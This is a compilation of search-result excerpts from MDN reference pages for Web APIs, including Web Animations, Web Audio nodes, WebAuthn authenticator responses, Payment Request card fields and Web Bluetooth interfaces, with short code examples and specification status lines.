Animations have a playback rate that provides a scaling factor from the rate of change of the animation's timeline time values to the animation's current time. The playback rate is initially 1. Syntax var currentPlaybackRate = Animation.playbackRate; Animation.playbackRate = newRate; Value Takes a number that can be 0, negative, or positive. Negative values reverse the animation. The value is a scaling factor, so for example a value of 2 would double the playback rate. Setting an animation's playbackRate to 0 effectively pauses the animation (however, its playstate does not necessarily become paused). ...
... Working Draft ...
Animation.ready - Web APIs
A new promise is created every time the animation enters the "pending" play state as well as when the animation is canceled, since in both of those scenarios, the animation is ready to be started again. Since the same Promise is used for both pending play and pending pause requests, authors are advised to check the state of the animation when the promise is resolved. Syntax var readyPromise = Animation.ready; Value A Promise which resolves when the animation is ready to be played. ...
... Working Draft Editor's draft. ...
Animation.replaceState - Web APIs
This will be active if the animation has been removed, or persisted if Animation.persist() has been invoked on it. Syntax let myReplaceState = Animation.replaceState; Value A string that represents the replace state of the anmation. The value can be one of: active: The initial value of the animation's replace state; when the animation has been removed by the browser's Automatically removing filling animations behavior. persisted: The animation has been explicitly persisted by invoking Animation.persist() on it. removed: The animation has been explicitly removed. ...
...mations list, which could create a memory leak. For this reason, modern browsers automatically remove overriding forward filling animations. You can see the replaceState of the animation being logged at the end of the handler. This will be active for each animation by default, or persisted if the persist() call is uncommented. Specifications Specification Status Comment
Web AnimationsThe definition of 'Animation.replaceState' in that specification. Working Draft ...
Animation.startTime - Web APIs
as no value). Syntax var animationStartedWhen = Animation.startTime; Animation.startTime = newStartTime; Value A floating-point number representing the current time in milliseconds, or null if no time is set. You can read this value to determine what the start time is currently set at, and you can change this value to make the animation start at a different time. Examples In the Running on
Web Animations API example, the we can sync all new animated cats by giving them all the same startTime as the original running cat: var catRunning = document.getElementById ("withWAAPI").animate(keyframes, timing); /* A function that makes new cats. */ function addCat(){ var newCat = document.createElement("div"); newCat.classList.add("cat"); return newCat; } /* This is the function that ad...
....514 // ... // reduced time precision with `privacy.resistFingerprinting` enabled animation.startTime; // 49.8 // 50.6 // 51.7 // ... In Firefox, you can also enabled privacy.resistFingerprinting, the precision will be 100ms or the value of privacy.resistFingerprinting.reduceTimerPrecision.microseconds, whichever is larger. Specifications Specification Status Comment
Web AnimationsThe definition of 'Animation.startTime' in that specification. Working Draft Editor's draft. ...
Animation.updatePlaybackRate() - Web APIs
In some cases, an animation may run on a separate thread or process and will continue updating even while long-running JavaScript delays the main thread. In such a case, setting the playbackRate on the animation directly may cause the animation's playback position to jump since its playback position on the main thread may have drifted from the playback position where it is currently running. ...
... Working Draft ...
AnimationEvent - Web APIs
nterface represents events providing information related to animations. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/AnimationEvent" target="_top"><rect x="116" y="1" width="140" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="186" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">AnimationEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor ...
AnimationPlaybackEvent.AnimationPlaybackEvent() - Web APIs
The AnimationPlaybackEvent() constructor of the
Web Animations API returns a new AnimationPlaybackEvent object instance. Syntax var animationPlaybackEvent = new AnimationPlaybackEvent(type, eventInitDict); Parameters type A DOMString representing the name of the event. eventInitDict Optional An optional EventInit dictionary object containing the following fields: bubbles Optional Defaults to false, of type Boolean, indicating if the event bubbles or not. cancelable Optional Defaults to false, of type Boolean, indicating if the event can be canceled or not. detail Optional Defaults to null, of type any -- an event-dependent value associated with the event. ...
...wing fields: bubbles Optional Defaults to false, of type Boolean, indicating if the event bubbles or not. cancelable Optional Defaults to false, of type Boolean, indicating if the event can be canceled or not. detail Optional Defaults to null, of type any -- an event-dependent value associated with the event. Specifications Specification Status Comment
Web AnimationsThe definition of 'AnimationPlaybackEvent()' in that specification. Working Draft Editor's draft. ...
AnimationTimeline.currentTime - Web APIs
Syntax var currentTime = AnimationTimeline.currentTime; Value A number representing the timeline's current time in milliseconds, or null if the timeline is inactive. Reduced time precision To offer protection against timing attacks and fingerprinting, the precision of animationTimeline.currentTime might get rounded depending on browser settings. In Firefox, the privacy.reduceTimerPrecision preference is enabled by default and defaults to 20us in Firefox 59; in 60 it will be 2ms. ...
..... // reduced time precision with `privacy.resistFingerprinting` enabled animationTimeline.currentTime; // 49.8 // 50.6 // 51.7 // ... In Firefox, you can also enable privacy.resistFingerprinting; the precision will be 100ms or the value of privacy.resistFingerprinting.reduceTimerPrecision.microseconds, whichever is larger. Specifications Specification Status Comment
Web AnimationsThe definition of 'currentTime' in that specification. Working Draft Editor's draft. ...
AudioBuffer.getChannelData() - Web APIs
Buffer.numberOfChannels, an INDEX_SIZE_ERR exception will be thrown. Return value A Float32Array. Example In the following example we create a two second buffer, fill it with white noise, and then play it via an AudioBufferSourceNode. The comments should clearly explain what is going on. You can also run the code live, or view the source. ...
... Working Draft ...
AudioContext.createMediaElementSource() - Web APIs
mouse pointer is moved, the updatePage() function is invoked, which calculates the current gain as a ratio of mouse Y position divided by overall window height. You can therefore increase and decrease the volume of the playing music by moving the mouse pointer up and down. Note: You can also view this example running live, or view the source. ...
... Working Draft ...
AudioNodeOptions - Web APIs
AudioNodeOptions is inherited from by the option objects of the different types of audio node constructors. See for example AnalyserNode.AnalyserNode or GainNode.GainNode. Syntax var audioNodeOptions = { "channelCount" : 2, "channelCountMode" : "max", "channelInterpretation" : "discrete" } Properties channelCount Optional Represents an integer used to determine how many channels are used when up-mixing and down-mixing connections to any inputs to the node. (See AudioNode.channelCount for more information.) Its usage and precise definition depend on the value of AudioNodeOptions.channelCountMode. ...
...ult values.) channelInterpretation Optional Represents an enumerated value describing the meaning of the channels. This interpretation will define how audio up-mixing and down-mixing will happen. The possible values are "speakers" or "discrete". (See AudioNode.channelCountMode for more information including default values.) Specifications Specification Status Comment
Web Audio APIThe definition of 'AudioNodeOptions' in that specification. Working Draft Initial definition. ...
AudioParam.exponentialRampToValueAtTime() - Web APIs
In this example, we have a media source with two control buttons (see the audio-param repo for the source code, or view the example live.) When these buttons are pressed, exponentialRampToValueAtTime() is used to fade the gain value up to 1.0, and down to 0, respectively. ...
... Working Draft ...
AudioParam.linearRampToValueAtTime() - Web APIs
repo for the source code, or view the example live.) When these buttons are pressed, linearRampToValueAtTime() is used to fade the gain value up to 1.0, and down to 0, respectively. This is pretty useful for fade in/fade out effects, although AudioParam.exponentialRampToValueAtTime() is often said to be a bit more natural. ...
... Working Draft ...
AudioParam.value - Web APIs
Initially, the value is set to AudioParam.defaultValue. Setting value has the same effect as calling AudioParam.setValueAtTime with the time returned by the AudioContext's currentTime property.. Syntax var curValue = audioParam.value; audioParam.value = newValue; Value A floating-point Number indicating the parameter's value as of the current time. This value will be between the values specified by the minValue and maxValue properties. Usage notes Value precision and variation The data type used internally to store value is a single-precision (32-bit) floating point number, while JavaScript uses 64-bit double-precision floating point numbers. ...
...intained to accurately reflect the state of the parameter over time. Example This example instantly changes the volume of a GainNode to 40%. const audioCtx = new AudioContext(); const gainNode = audioCtx.createGain(); gainNode.gain.value = 0.4; //which is identical to: gainNode.gain.setValueAtTime(0.4, audioCtx.currentTime); Specifications Specification Status Comment
Web Audio APIThe definition of 'value' in that specification. Working Draft ...
AudioParamDescriptor - Web APIs
It is used to create custom AudioParams on an AudioWorkletNode. If the underlying AudioWorkletProcessor has a parameterDescriptors static getter, then the returned array of objects based on this dictionary is used internally by AudioWorkletNode constructor to populate its parameters property accordingly. Properties name The DOMString which represents the name of the AudioParam. Under this name the AudioParam will be available in the parameters property of the node, and under this name the AudioWorkletProcessor.process method will acquire the calculated values of this AudioParam. ...
... Working Draft Initial definition. ...
AudioScheduledSourceNode - Web APIs
Specifically, this interface defines the start() and stop() methods, as well as the onended event handler. You can't create an AudioScheduledSourceNode object directly. Instead, use the interface which extends it, such as AudioBufferSourceNode, OscillatorNode, and ConstantSourceNode. Unless stated otherwise, nodes based upon AudioScheduledSourceNode output silence when not playing (that is, before start() is called and after stop() is called). ...
... Working Draft ...
AudioWorklet - Web APIs
Access the audio context's instance of AudioWorklet through the BaseAudioContext.audioWorklet property. Properties The AudioWorklet interface does not define any properties of its own, but does inherit properties of Worklet. Methods This interface inherits methods from Worklet. The AudioWorklet interface does not define any methods of its own. Events AudioWorklet has no events to which it responds. ...
... properties of its own, but does inherit properties of Worklet. Methods This interface inherits methods from Worklet. The AudioWorklet interface does not define any methods of its own. Events AudioWorklet has no events to which it responds. Examples See AudioWorkletNode for complete examples of custom audio node creation. Specifications Specification Status Comment
Web Audio APIThe definition of 'AudioWorklet' in that specification. Working Draft Initial definition. ...
AudioWorkletGlobalScope - Web APIs
Each BaseAudioContext has a single AudioWorklet available under the audioWorklet property, which runs its code in a single AudioWorkletGlobalScope. As the global execution context is shared across the current BaseAudioContext, it's possible to define any other variables and perform any actions allowed in worklets -- apart from defining AudioWorkletProcessor-derived classes. Properties currentFrame Read only Returns an integer that represents the ever-increasing current sample-frame of the audio block being processed. ...
... to it -- and connect the node to an audio graph. We should see the output of console.log calls in the console: const audioContext = new AudioContext() await audioContext.audioWorklet.addModule('test-processor.js') const testNode = new AudioWorkletNode(audioContext, 'test-processor') testNode.connect(audioContext.destination) Specifications Specification Status Comment
Web Audio APIThe definition of 'AudioWorkletGlobalScope' in that specification. Working Draft ...
AudioWorkletNodeOptions - Web APIs
It is only used when calling the AudioWorkletNode() constructor. During internal instantiation of the underlying AudioWorkletProcessor, the the structured clone algorithm is applied to the options object and the result is passed into AudioWorkletProcessor's constructor. Properties numberOfInputs Optional The value to initialize the numberOfInputs property to. Defaults to 1. numberOfOutputs Optional The value to initialize the numberOfOutputs property to. Defaults to 1. outputChannelCount Optional An array defining the number of channels for each output. ...
... Working Draft Initial definition. ...
AudioWorkletProcessor.process - Web APIs
user agent's internal logic would otherwise decide that it's safe to shut down the node. The returned value lets your processor have influence over the lifetime policy of the AudioWorkletProcessor and the node that owns it. If the combination of the return value and the state of the node causes the browser to decide to stop the node, process() will not be called again. Returning true forces the
Web Audio API to keep the node alive, while returning false allows the browser to terminate the node if it is neither generating new audio data nor receiving data through its inputs that it is processing. The 3 most common types of audio node are: A source of output. An AudioWorkletProcessor implementing such a node should return true from the process method as long as it produces an output. The ...
... Working Draft ...
AudioWorkletProcessor - Web APIs
In turn, an AudioWorkletNode based on it runs on the main thread. Constructor The AudioWorkletProcessor and classes that derive from it cannot be instantiated directly from a user-supplied code. Instead, they are created only internally by the creation of an associated AudioWorkletNodes. The constructor of the deriving class is getting called with an options object, so you can perform a custom initialization procedures -- see constructor page for details. AudioWorkletProcessor() Creates a new instance of an AudioWorkletProcessor object. ...
...tNode, passing it the name of the processor, then connect the node to an audio graph. const audioContext = new AudioContext() await audioContext.audioWorklet.addModule('white-noise-processor.js') const whiteNoiseNode = new AudioWorkletNode(audioContext, 'white-noise-processor') whiteNoiseNode.connect(audioContext.destination) Specifications Specification Status Comment
Web Audio APIThe definition of 'AudioWorkletProcessor' in that specification. Working Draft ...
AuthenticatorAssertionResponse - Web APIs
This interface inherites from AuthenticatorResponse. Note: This interface is restricted to top-level contexts. Use from within an <iframe> element will not have any effect. Properties AuthenticatorAssertionResponse.clientDataJSON Secure contextRead only The client data for the authentication, such as origin and challenge. The clientDataJSON property is inherited from the AuthenticatorResponse. ...
... Recommendation Initial definition. ...
AuthenticatorAttestationResponse - Web APIs
This response should be sent to the relying party's server to complete the creation of the credential. This interface inherites from AuthenticatorResponse. Note: This interface is restricted to top-level contexts. Use from within an <iframe> element will not have any effect. Properties AuthenticatorAttestationResponse.clientDataJSON Secure contextRead only Client data for the authentication, such as origin and challenge. ...
... Recommendation Initial definition. ...
AuthenticatorResponse.clientDataJSON - Web APIs
torAttestationResponse or AuthenticatorAssertionResponse. Syntax var arrayBuffer = AuthenticatorAttestationResponse.clientDataJSON; var arrayBuffer = AuthenticatorAssertionResponse.clientDataJSON; Value An ArrayBuffer. Properties After the clientDataJSON object is converted from an ArrayBuffer to a JavaScript object, it will have the following properties: type A string which is either "
webauthn.get" when an existing credential is retrieved or "
webauthn.create" when a new credential is created. challenge The base64url encoded version of the cryptographic challenge sent from the relying party's server. The original value is passed via PublicKeyCredentialRequestOptions.challenge or PublicKeyCredentialCreationOptions.challenge. origin The fully qualified origin of the requester whi...
...indicate that the client does not support token binding. Examples function arrayBufferToStr(buf) { return String.fromCharCode.apply(null, new Uint8Array(buf)); } // pk is a PublicKeyCredential that is the result of a create() or get() Promise var clientDataStr = arrayBufferToStr(pk.clientDataJSON); var clientDataObj = JSON.parse(clientDataStr); console.log(clientDataObj.type); // "
webauthn.create" or "
webauthn.get" console.log(clientDataObj.challenge); // base64 encoded String containing the original challenge console.log(clientDataObj.origin); // the window.origin Specifications Specification Status Comment
Web Authentication: An API for accessing Public Key Credentials Level 1The definition of 'clientDataJSON' in that specification. Recommend...
AuthenticatorResponse - Web APIs
The child interfaces include information from the browser such as the challenge origin and either may be returned from PublicKeyCredential.response. Interfaces based on AuthenticatorResponse Below is a list of interfaces based on the AuthenticatorResponse interface. AuthenticatorAssertionResponse AuthenticatorAttestationResponse Properties AuthenticatorResponse.clientDataJSON A JSON string in an ArrayBuffer, representing the client data that was passed to CredentialsContainer.create() or CredentialsContainer.get(). Methods None. ...
... Recommendation Initial definition. ...
BaseAudioContext.createAnalyser() - Web APIs
g example shows basic usage of an AudioContext to create an Analyser node, then use requestAnimationFrame() to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. For more complete applied examples/information, check out our Voice-change-O-matic demo (see app.js lines 128-205 for relevant code). var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); ... analyser.fftSize = 2048; var bufferLength = analyser.frequencyBinCount; var dataArray = new Uint8Array(bufferLength); analyser.getByteTimeDomainData(dataArray); // draw an oscilloscope of the current audio source function draw() { drawVisual = requestAnimationFrame(draw); analyser.getByteTimeDomainData(dataArray)...
... Working Draft ...
BaseAudioContext.createBiquadFilter() - Web APIs
der filter configurable as several different common filter types. Syntax baseAudioContext.createBiquadFilter(); Returns A BiquadFilterNode. Example The following example shows basic usage of an AudioContext to create a Biquad filter node. For a complete working example, check out our voice-change-o-matic demo (look at the source code too). ...
... Working Draft ...
BaseAudioContext.createBuffer() - Web APIs
e unable to properly reproduce high frequency content (treble sound). Now let's look at a more complex createBuffer() example, in which we create a three second buffer, fill it with white noise, and then play it via an AudioBufferSourceNode. The comment should clearly explain what is going on. You can also run the code live, or view the source. ...
... Working Draft ...
BaseAudioContext.createBufferSource() - Web APIs
ack. Syntax var source = baseAudioContext.createBufferSource(); Returns An AudioBufferSourceNode. Example In this example, we create a two second buffer, fill it with white noise, and then play it via an AudioBufferSourceNode. The comments should clearly explain what is going on. Note: You can also run the code live, or view the source. ...
... Working Draft ...
BaseAudioContext.createConvolver() - Web APIs
sample to be used as an ambience to shape the convolution (called the impulse response,) and apply that to the convolver. The example below uses a short sample of a concert hall crowd, so the reverb effect applied is really deep and echoey. For applied examples/information, check out our Voice-change-O-matic demo (see app.js for relevant code). var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var convolver = audioCtx.createConvolver(); ... // grab audio track via XHR for convolver node var soundSource, concertHallBuffer; ajaxRequest = new XMLHttpRequest(); ajaxRequest.open('GET', 'concert-crowd.ogg', true); ajaxRequest.responseType = 'arraybuffer'; ajaxRequest.onload = function() { var audioData = ajaxRequest.response; audioCtx.decodeAudioData(audioData, ...
... Working Draft ...
BaseAudioContext.createDelay() - Web APIs
ou to play three different samples on a constant loop -- see create-delay (you can also view the source code). If you just press the play buttons, the loops will start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time. var AudioContext = window.AudioContext || window.
webkitAudioContext; var audioCtx = new AudioContext(); var synthDelay = audioCtx.createDelay(5.0); ... var synthSource; playSynth.onclick = function() { synthSource = audioCtx.createBufferSource(); synthSource.buffer = buffers[2]; synthSource.loop = true; synthSource.start(); synthSource.connect(synthDelay); synthDelay.connect(destination); this.setAttribute('disabled', 'disabled'...
... Working Draft ...
BaseAudioContext.createGain() - Web APIs
usage of an AudioContext to create a GainNode, which is then used to mute and unmute the audio when a Mute button is clicked by changing the gain property value. ...
...u haven't // connected your source into the output in addition to using the GainNode. gainNode.gain.setValueAtTime(0, audioCtx.currentTime); mute.id = "activated"; mute.innerHTML = "Unmute"; } else { gainNode.gain.setValueAtTime(1, audioCtx.currentTime); mute.id = ""; mute.innerHTML = "Mute"; } } Specifications Specification Status Comment
Web Audio APIThe definition of 'createGain()' in that specification. Working Draft ...
BaseAudioContext.createStereoPanner() - Web APIs
onnect the two together using the connect() method. We then use an oninput event handler to change the value of the StereoPannerNode.pan parameter and update the pan value display when the slider is moved. Moving the slider left and right while the music is playing pans the music across to the left and right speakers of the output, respectively. ...
... Working Draft ...
BaseAudioContext.createWaveShaper() - Web APIs
er node. For applied examples/information, check out our Voice-change-O-matic demo (see app.js for relevant code). Note: Sigmoid functions are commonly used for distortion curves because of their natural properties. Their S-shape, for instance, helps create a smoother sounding result. We found the below distortion curve code on Stack Overflow. var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var distortion = audioCtx.createWaveShaper(); ... function makeDistortionCurve(amount) { var k = typeof amount === 'number' ? amount : 50, n_samples = 44100, curve = new Float32Array(n_samples), deg = Math.PI / 180, i = 0, x; for ( ; i < n_samples; ++i ) { x = i * 2 / n_samples - 1; curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.a...
... Working Draft ...
BaseAudioContext.currentTime - Web APIs
The currentTime read-only property of the BaseAudioContext interface returns a double representing an ever-increasing hardware timestamp in seconds that can be used for scheduling audio playback, visualizing timelines, etc. It starts at 0. Syntax var curTime = baseAudioContext.currentTime; Example var AudioContext = window.AudioContext || window.
webkitAudioContext; var audioCtx = new AudioContext(); // Older
webkit/blink browsers require a prefix ... console.log(audioCtx.currentTime); Reduced time precision To offer protection against timing attacks and fingerprinting, the precision of audioCtx.currentTime might get rounded depending on browser settings. In Firefox, the privacy.reduceTimerPrecision preference is enabled by default and defaults to 20us in Firefox 59; in 60 it wi...
...514 // ... // reduced time precision with `privacy.resistFingerprinting` enabled audioCtx.currentTime; // 49.8 // 50.6 // 51.7 // ... In Firefox, you can also enabled privacy.resistFingerprinting, the precision will be 100ms or the value of privacy.resistFingerprinting.reduceTimerPrecision.microseconds, whichever is larger. Specifications Specification Status Comment
Web Audio APIThe definition of 'currentTime' in that specification. Working Draft Initial definition. ...
BaseAudioContext.destination - Web APIs
The destination property of the BaseAudioContext interface returns an AudioDestinationNode representing the final destination of all audio in the context. It often represents an actual audio-rendering device such as your device's speakers. Syntax baseAudioContext.destination; Value An AudioDestinationNode. Example Note: for a full example implementation, see one of our
Web Audio Demos on the MDN Github repo, like voice-change-o-matic. var AudioContext = window.AudioContext || window.
webkitAudioContext; var audioCtx = new AudioContext(); // Older
webkit/blink browsers require a prefix var oscillatorNode = audioCtx.createOscillator(); var gainNode = audioCtx.createGain(); oscillatorNode.connect(gainNode); gainNode.connect(audioCtx.destination); Specifications Specific...
...e-o-matic. var AudioContext = window.AudioContext || window.
webkitAudioContext; var audioCtx = new AudioContext(); // Older
webkit/blink browsers require a prefix var oscillatorNode = audioCtx.createOscillator(); var gainNode = audioCtx.createGain(); oscillatorNode.connect(gainNode); gainNode.connect(audioCtx.destination); Specifications Specification Status Comment
Web Audio APIThe definition of 'destination' in that specification. Working Draft ...
BaseAudioContext.sampleRate - Web APIs
erty of the BaseAudioContext interface returns a floating point number representing the sample rate, in samples per second, used by all nodes in this audio context. This limitation means that sample-rate converters are not supported. Syntax baseAudioContext.sampleRate; Value A floating point number indicating the audio context's sample rate, in samples per second. Example Note: for a full
Web Audio example implementation, see one of our
Web Audio Demos on the MDN Github repo, like panner-node. Try entering audioCtx.sampleRate into your browser console. var AudioContext = window.AudioContext || window.
webkitAudioContext; var audioCtx = new AudioContext(); // Older
webkit/blink browsers require a prefix ... console.log(audioCtx.sampleRate); Specifications Specification ...
..., see one of our
Web Audio Demos on the MDN Github repo, like panner-node. Try entering audioCtx.sampleRate into your browser console. var AudioContext = window.AudioContext || window.
webkitAudioContext; var audioCtx = new AudioContext(); // Older
webkit/blink browsers require a prefix ... console.log(audioCtx.sampleRate); Specifications Specification Status Comment
Web Audio APIThe definition of 'sampleRate' in that specification. Working Draft ...
BasicCardRequest.supportedNetworks - Web APIs
The definition of 'supportedNetworks' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 56Notes Disabled Notes Available only in nightly builds.Disabled From version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
BasicCardResponse.billingAddress - Web APIs
entThe definition of 'billingAddress' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 56Notes Disabled Notes Available only in nightly builds.Disabled From version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
BasicCardResponse.cardNumber - Web APIs
PaymentThe definition of 'cardNumber' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 56Notes Disabled Notes Available only in nightly builds.Disabled From version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
BasicCardResponse.cardSecurityCode - Web APIs
tThe definition of 'cardSecurityCode' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 56Notes Disabled Notes Available only in nightly builds.Disabled From version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
BasicCardResponse.cardholderName - Web APIs
entThe definition of 'cardholderName' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 56Notes Disabled Notes Available only in nightly builds.Disabled From version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
BasicCardResponse.expiryMonth - Web APIs
aymentThe definition of 'expiryMonth' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 56Notes Disabled Notes Available only in nightly builds.Disabled From version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
BasicCardResponse.expiryYear - Web APIs
PaymentThe definition of 'expiryYear' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 56Notes Disabled Notes Available only in nightly builds.Disabled From version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
BiquadFilterNode.Q - Web APIs
lter(); biquadfilter.Q.value = 100; Note: Though the AudioParam returned is read-only, the value it represents is not. Value An AudioParam. Example The following example shows basic usage of an AudioContext to create a Biquad filter node. For a complete working example, check out our voice-change-o-matic demo (look at the source code too). ...
... Working Draft ...
BiquadFilterNode.detune - Web APIs
adFilter.detune.value = 100; Note: Though the AudioParam returned is read-only, the value it represents is not. Value An a-rate AudioParam. Example The following example shows basic usage of an AudioContext to create a Biquad filter node. For a complete working example, check out our voice-change-o-matic demo (look at the source code too). ...
... Working Draft ...
BiquadFilterNode.frequency - Web APIs
iquadFilter.frequency.value = 3000; Note: Though the AudioParam returned is read-only, the value it represents is not. Value An AudioParam. Example The following example shows basic usage of an AudioContext to create a Biquad filter node. For a complete working example, check out our voice-change-o-matic demo (look at the source code too). ...
... Working Draft ...
BiquadFilterNode.gain - Web APIs
er(); biquadfilter.gain.value = 25; Note: Though the AudioParam returned is read-only, the value it represents is not. Value An AudioParam. Example The following example shows basic usage of an AudioContext to create a Biquad filter node. For a complete working example, check out our voice-change-o-matic demo (look at the source code too). ...
... Working Draft ...
BiquadFilterNode.type - Web APIs
sharp the transition is at the medium frequency. The larger this parameter is, the sharper and larger the transition will be. Not used Example The following example shows basic usage of an AudioContext to create a Biquad filter node. For a complete working example, check out our voice-change-o-matic demo (look at the source code too). ...
... Working Draft ...
BiquadFilterNode - Web APIs
current filter parameter settings this method calculates the frequency response for frequencies specified in the provided array of frequencies. Example The following example shows basic usage of an AudioContext to create a Biquad filter node. For a complete working example, check out our voice-change-o-matic demo (look at the source code too). ...
... Working Draft ...
BlobEvent.timecode - Web APIs
RecordingThe definition of 'timecode' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...sung Internettimecode ExperimentalChrome Full support 57Edge Full support <=79Firefox ? IE No support NoOpera Full support 44Safari No support No
WebView Android Full support 57Chrome Android Full support 57Firefox Android ? Opera Android Full support 43Safari iOS No support NoSamsung Internet Android Full support ...
Bluetooth.getDevices() - Web APIs
The getDevices() method of Bluetooth interface of
Web Bluetooth API exposes the Bluetooth devices this origin is allowed to access. This method does not display any permission prompts. Note: This method returns a BluetoothDevice for each device the origin is currently allowed to access, even the ones that are out of range or powered off. The program can detect when a device comes online or into range by watching for BlueTooth advertisements by calling BluetoothDevice.watchAdvertisements() on that device. Syntax var readerPromise = Bluetooth.getDevices(); Parameters None. Return value A Promise that resolves with an array of BluetoothDevices. Exceptions This method doesn't throw any exceptions. ...
... Draft Initial definition. ...
Bluetooth - Web APIs
Interface interface Bluetooth : EventTarget { Promise<boolean> getAvailability(); attribute EventHandler onavailabilitychanged; [SameObject] readonly attribute BluetoothDevice? referringDevice; Promise<sequence<BluetoothDevice>> getDevices(); Promise<BluetoothDevice> requestDevice(optional RequestDeviceOptions options = {}); }; Bluetooth includes BluetoothDeviceEventHandlers; Bluetooth includes CharacteristicEventHandlers; Bluetooth includes ServiceEventHandlers; Properties Inherits properties from its parent EventTarget. ...
...set, that is the value returned by this method. Bluetooth.getDevices() Returns a Promise that resolved to an array of BluetoothDevices which the origin already obtained permission for via a call to Bluetooth.requestDevice(). Bluetooth.requestDevice() Returns a Promise to a BluetoothDevice object with the specified options. Specifications Specification Status Comment
Web BluetoothThe definition of 'Bluetooth' in that specification. Draft Initial definition. ...
BluetoothRemoteGATTCharacteristic - Web APIs
The BluetoothRemoteGattCharacteristic interface of the
Web Bluetooth API represents a GATT Characteristic, which is a basic data element that provides further information about a peripheral's service. Interface interface BluetoothRemoteGATTCharacteristic { readonly attribute BluetoothRemoteGATTService service; readonly attribute UUID uuid; readonly attribute BluetoothCharacteristicProperties properties; readonly attribute DataView? value; Promise<BluetoothRemoteGATTDescriptor> getDescriptor(BluetoothDescriptorUUID descriptor); Promise<sequence<BluetoothRemoteGATTDescriptor>> getDescriptors(optional BluetoothDescriptorUUID descriptor); Promise<DataView> readValue(); Promise<void> writeValue(BufferSource value); Promise<void> startNotifications(); Promise<vo...
... ArrayBuffer and returns a Promise. BluetoothRemoteGATTCharacteristic.startNotifications() Returns a Promise when navigator.bluetooth is added to the active notification context. BluetoothRemoteGATTCharacteristic.stopNotifications() Returns a Promise when navigator.bluetooth is removed from the active notification context. Specifications Specification Status Comment
Web BluetoothThe definition of 'BluetoothRemoteGATTCharacteristic' in that specification. Draft Initial definition. ...
BluetoothRemoteGATTServer - Web APIs
Interface interface BluetoothRemoteGATTServer { readonly attribute BluetoothDevice device; readonly attribute boolean connected; Promise<BluetoothRemoteGATTServer> connect(); void disconnect(); Promise<BluetoothRemoteGATTService> getPrimaryService(BluetoothServiceUUID service); Promise<sequence<BluetoothRemoteGATTService>> getPrimaryServices(optional BluetoothServiceUUID service); }; Properties BluetoothRemoteGATTServer.connectedRead only A boolean value that returns true while this script execution environment is connected to this.device. ...
... Draft Initial definition. ...
BluetoothRemoteGATTService - Web APIs
The BluetoothRemoteGATTService interface of the
Web Bluetooth API represents a service provided by a GATT server, including a device, a list of referenced services, and a list of the characteristics of this service. Interface interface BluetoothRemoteGATTService : ServiceEventHandlers { readonly attribute UUID uuid; readonly attribute boolean isPrimary; readonly attribute BluetoothDevice device; Promise<BluetoothGATTCharacteristic> getCharacteristic(BluetoothCharacteristicUUID characteristic); Promise<sequence<BluetoothGATTCharacteristic>> getCharacteristics(optional BluetoothCharacteristicUUID characteristic); Promise<BluetoothGATTService> getIncludedService(BluetoothServiceUUID service); Promise<sequence<BluetoothGATTService>> getIncludedServices(optional BluetoothService...
... Draft Initial definition. ...
CSSCounterStyleRule - Web APIs
eritance This interface inherits from the following parent interfaces: <div id="interfaceDiagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveAspectRatio="xMinYMin meet"><a xlink:href="/docs/
